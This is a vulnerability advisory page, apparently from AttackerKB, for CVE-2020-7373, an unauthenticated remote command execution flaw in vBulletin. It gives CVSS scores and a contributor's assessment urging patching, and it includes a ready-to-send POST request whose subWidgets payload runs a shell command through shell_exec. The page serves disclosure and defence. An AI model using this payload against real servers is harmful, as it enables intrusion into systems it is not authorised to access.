CVE-2020-7373

2020-10-3000:00:00

attackerkb.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

JSON

vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759. ALSO NOTE: CVE-2020-7373 is a duplicate of CVE-2020-17496. CVE-2020-17496 is the preferred CVE ID to track this vulnerability.

Recent assessments:

zeroSteiner at August 13, 2020 9:24pm UTC reported:

This vulnerable allows an unauthenticated attacker to run arbitrary PHP code or operating system commands on affected versions of the vBulletin web application. The vulnerability, which was also discovered by Zenofex, is identified as CVE-2020-7373 and is effectively a bypass for a previously patched vulnerability identified as CVE-2019-16759. Administrators running vBulletin should patch this one immediately.

Example POST request that would trigger the vulnerability:

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: 192.168.249.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

subWidgets%5b0%5d%5btemplate%5d=widget_php&subWidgets%5b0%5d%5bconfig%5d%5bcode%5d=echo%20shell_exec%28base64_decode%28%27ZWNobyB3elV4d2VJag%3d%3d%27%29%29%3b%20exit%3b

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5